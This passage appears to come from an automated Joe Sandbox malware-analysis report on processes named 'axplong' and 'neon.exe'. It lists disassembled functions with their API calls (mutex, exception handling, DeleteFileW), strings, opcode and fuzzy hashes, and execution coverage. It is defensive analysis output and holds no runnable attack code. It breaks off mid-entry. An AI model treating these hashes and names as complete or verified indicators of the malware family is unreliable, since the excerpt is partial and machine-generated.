Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c780ff69e331e8216433767a5b463928b4e3a8a0f73b0388f60a1070b5f7370f
Instruction ID: cd0c3d016916cc895571e2c412bffa13c8f95e8322873095c01a1249747af0f0
Opcode Fuzzy Hash: c780ff69e331e8216433767a5b463928b4e3a8a0f73b0388f60a1070b5f7370f
Instruction Fuzzy Hash: B4A1F2B190061ADFDB21DF64C848B6AB7B8FF15314F14816EE815D7342EB39EA04CB91

Function 007C2670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 007C2806
___std_exception_destroy.LIBVCRUNTIME ref: 007C28A0

Strings

P#|, xrefs: 007C27BE, 007C2899
P#|, xrefs: 007C2811

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#|$P#|
API String ID: 2970364248-2807369776
Opcode ID: 8b9b72156a68b09509f6698f15e0844859b192c6a1690f685f93a37136453cbd
Instruction ID: 5f365eb2a2154e20df1d01c0e65e15c3815d86f99854822667c980c6d2d44f1b
Opcode Fuzzy Hash: 8b9b72156a68b09509f6698f15e0844859b192c6a1690f685f93a37136453cbd
Instruction Fuzzy Hash: A1717071A00208DBDB04DFA8C885BDDFBB5FF59310F14812DE905A7386E778A985CBA5

Function 007D7870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 007D795C
__Cnd_destroy_in_situ.LIBCPMT ref: 007D7968
__Mtx_destroy_in_situ.LIBCPMT ref: 007D7971

Strings

@y}, xrefs: 007D794A

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @y}
API String ID: 4078500453-1603443692
Opcode ID: 9f5e141112186daadc523b636d8c001e2ef6783a07e9f5dc7022fa085d3cb2f7
Instruction ID: 9ed83a9f329cc17c7bb3f568279dca9d1d5af2959986e9a3eba4481c26166487
Opcode Fuzzy Hash: 9f5e141112186daadc523b636d8c001e2ef6783a07e9f5dc7022fa085d3cb2f7
Instruction Fuzzy Hash: 50319EB2904704DBD7249F68D849A6AB7F8EB14310F100A2BE946C7342FB79FA54C7A1

Function 007C2AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 007C2B23

Strings

P#|, xrefs: 007C2B2E
This function cannot be called on a default constructed task, xrefs: 007C2B03
P#|, xrefs: 007C2B18

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#|$P#|$This function cannot be called on a default constructed task
API String ID: 2659868963-4217375237
Opcode ID: b8a7675dcd3404a65838b76b3d565082019b7d3d60a20eccc6a037fdd40bafe3
Instruction ID: 703041678e03cfcd2488db9e3bb95e5d120ede6dd8d2fe0511e4bb24b2248d9e
Opcode Fuzzy Hash: b8a7675dcd3404a65838b76b3d565082019b7d3d60a20eccc6a037fdd40bafe3
Instruction Fuzzy Hash: 60F0C2B191030CABC710DFA898459DEB7EDEF04300F1081AEF90497301EB74AA888B94

Function 007FC9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007FCA37

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 8193596488ef0b988f9eedee660f06c61eb486f1d1ec5cd761b0c4d627cdafe6
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 8AB1367290028DDFDB16CF28C981BBEBBE5EF55350F1481AAEA45EB341D6389D41CB60

Function 007DBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007DBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 007DBB14
_xtime_get.LIBCPMT ref: 007DBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 007DBB43

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: a3aa707854a9762f9d47b1828258c5aa630e47df717259b8701904489a3e4004
Instruction ID: 0ec21f156381c2430531d037d49481290e6fd5d9752a8343a075893e507646cc
Opcode Fuzzy Hash: a3aa707854a9762f9d47b1828258c5aa630e47df717259b8701904489a3e4004
Instruction Fuzzy Hash: 6D214F71A0010AEFDF11EFA4DC859AEBBB8EF48710F104066F501A7351DB78AD41CBA1

Function 007D7040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 007D726C

Strings

`z}, xrefs: 007D7282
@.|, xrefs: 007D7250

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.|$`z}
API String ID: 3366076730-1140894779
Opcode ID: 72c1492b1fd66208cc553a818492489a4d584816658fd6c3d1b743e78d8ded20
Instruction ID: 5c820fc5445a8831829e0fe599282c6085ef61270888a9e7259ebc0038340020
Opcode Fuzzy Hash: 72c1492b1fd66208cc553a818492489a4d584816658fd6c3d1b743e78d8ded20
Instruction Fuzzy Hash: 6EA149B0A01619CFDB25CFA8C88479EBBF0FF48700F18815AE819AB351E7799D01CB80

Function 007D8E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P#|, xrefs: 007C2486
P#|, xrefs: 007C246D

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: P#|$P#|
API String ID: 0-2807369776
Opcode ID: 5f99eb06f15dfcff8e6ba7f83001d5e47d2e2c919e208c0087a5683a2bb24634
Instruction ID: e071774eb648cbcff7bc5e91a79069360e475d44660533fc46faed2665014dea
Opcode Fuzzy Hash: 5f99eb06f15dfcff8e6ba7f83001d5e47d2e2c919e208c0087a5683a2bb24634
Instruction Fuzzy Hash: E751F972A00109DBCB14DFA8DC45AAEB7B9EF44310F14466AF915EB341EB34EE518BD2

Function 007C3930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 007C3962
__Mtx_init_in_situ.LIBCPMT ref: 007C39A1

Strings

pB|, xrefs: 007C3940

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pB|
API String ID: 3366076730-810328530
Opcode ID: 757ac9dc262cc26e7626a13f40d09322ddc050bbed07da1cd8293401e00f2b51
Instruction ID: 46e761e23c28b4105320c0582b5c362d08ddb72419bcb9e4a4616f16560bee64
Opcode Fuzzy Hash: 757ac9dc262cc26e7626a13f40d09322ddc050bbed07da1cd8293401e00f2b51
Instruction Fuzzy Hash: B84125B0501B058FD720CF18C588B5ABBF5FF44315F10861DE86A8B351E7B8EA15CB80

Function 007C2440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 007C247E

Strings

P#|, xrefs: 007C2486
P#|, xrefs: 007C246D

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#|$P#|
API String ID: 2659868963-2807369776
Opcode ID: de174705a72412dbd5a75effb41b6f29a57f8174ffd8ddbba0bf548548cb0799
Instruction ID: eb9058517b7a19f52c2b7101778eeedeab71612181dce553b7c4623858ea35de
Opcode Fuzzy Hash: de174705a72412dbd5a75effb41b6f29a57f8174ffd8ddbba0bf548548cb0799
Instruction Fuzzy Hash: FFF0A0B191020CABC714EAE4DC05989B7ACEE15300B008A26F754E7601FBB4FA888BA1

Function 007C2520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 007C2552

Strings

P#|, xrefs: 007C2547
P#|, xrefs: 007C255D

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#|$P#|
API String ID: 2659868963-2807369776
Opcode ID: b1027b41478e2b0a5c9c2406ce4685aaee395b3c6b80fda8db416ab537c98c6a
Instruction ID: 10583a88acc9dc75c20b9d1dca129b29e5b6137b7a95a6319654b1bfe15e0fa0
Opcode Fuzzy Hash: b1027b41478e2b0a5c9c2406ce4685aaee395b3c6b80fda8db416ab537c98c6a
Instruction Fuzzy Hash: 4EF08271D1020DEBC714DFA8D8419DEBBF9AF55300F1082AEE544A7300EA705A99CB95

Analysis Process: neon.exePID: 6160, Parent PID: 4024COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 20246DE8 Relevance: 1.6, APIs: 1, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 2024C8D7

Memory Dump Source

Source File: 00000007.00000002.3333114320.0000000020240000.00000040.00000800.00020000.00000000.sdmp, Offset: 20240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20240000_neon.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e54d3bbc81ae1dbefef0ebef24c7c455c5a7b884228728663de71f9c982e4e3a
Instruction ID: fdfdf37730d87a960df3c8ba3a17040bcd8cc5add9f322de60bdbe6d6be5f81e
Opcode Fuzzy Hash: e54d3bbc81ae1dbefef0ebef24c7c455c5a7b884228728663de71f9c982e4e3a
Instruction Fuzzy Hash: 8231AE71908A1C9FCB59DF98D849AEABBF1EB65321F10821FD04AD3251DB70A846CB91

Analysis Process: neon.exePID: 3996, Parent PID: 6160COMMON

Executed Functions

Function 0320094F Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

LR]q, xrefs: 03200AA2

Memory Dump Source

Source File: 0000000E.00000002.3244245257.0000000003200000.00000040.00000800.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3200000_neon.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: d660de664e383db2845cb1801d99d21947ccee04eb9a0996e5507a439bb3748b
Instruction ID: 017e32ae42b71a602927a48be0477d3bb871caf1ff537f863dcc027564d915ca
Opcode Fuzzy Hash: d660de664e383db2845cb1801d99d21947ccee04eb9a0996e5507a439bb3748b
Instruction Fuzzy Hash: 7371CF74E01218CFDB58DFB9D994AADBBB2FF89304F20846AD409AB355DB345986CF00

Function 03200960 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

LR]q, xrefs: 03200AA2

Memory Dump Source

Source File: 0000000E.00000002.3244245257.0000000003200000.00000040.00000800.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3200000_neon.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: c03e99cf9f266e01a036d9e5627c36396c75df4038bfa435fcc45a1787558353
Instruction ID: 3a2410ec90e1beed88304cc870106d5b5ab3387b2c6900f26dec3f9a1208723f
Opcode Fuzzy Hash: c03e99cf9f266e01a036d9e5627c36396c75df4038bfa435fcc45a1787558353
Instruction Fuzzy Hash: 1E61C074E01208CFDB58DFB9D994A9DBBB2FF89304F20806AD419AB351DB349985CF40

Function 03200868 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3244245257.0000000003200000.00000040.00000800.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3200000_neon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 909157108c34e3364acd5984ac3d05716d5d4574621c1ae8a9c8a5b9fa7c8117
Instruction ID: da0d16a2d65b30ff6750df4e5e3ba9a78613712f560ffd1a8ddafa88061d3b05
Opcode Fuzzy Hash: 909157108c34e3364acd5984ac3d05716d5d4574621c1ae8a9c8a5b9fa7c8117
Instruction Fuzzy Hash: 632144B0D15209CFEB10DFA8E5487FCBBB5EF8A300F04A029D449A72A1CB795985CF58

Function 03200BB3 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3244245257.0000000003200000.00000040.00000800.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3200000_neon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efcbcbac26eae5913c0a785fee9f11e66c75dd36aa5f7b1d6d9ac8beffeb2c7f
Instruction ID: 3032682160dac62d7fc6242741ae296ea10a1559d49d783af0534ccc9a7958be
Opcode Fuzzy Hash: efcbcbac26eae5913c0a785fee9f11e66c75dd36aa5f7b1d6d9ac8beffeb2c7f
Instruction Fuzzy Hash: 15014874D0534ADFCB55DFB9C4516AEBBB2EF86300F1098BAD014AB2A1DB341A45CF91

Function 03200838 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3244245257.0000000003200000.00000040.00000800.00020000.00000000.sdmp, Offset: 03200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3200000_neon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a37ab853fa9877b91b5b23c6daae96ccb0c713f6ff63fe37263801337858f9
Instruction ID: a9bfd3d27f542a9dfbcfb0a6b9e784f4d8d0bebc0361d3a1ab460afb9745bb00
Opcode Fuzzy Hash: c3a37ab853fa9877b91b5b23c6daae96ccb0c713f6ff63fe37263801337858f9
Instruction Fuzzy Hash: 54D05E3047A3498FDBA64B64AC5C7F87FB0EF03326B090A5B98898206283B40884D715

Function 03200848 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

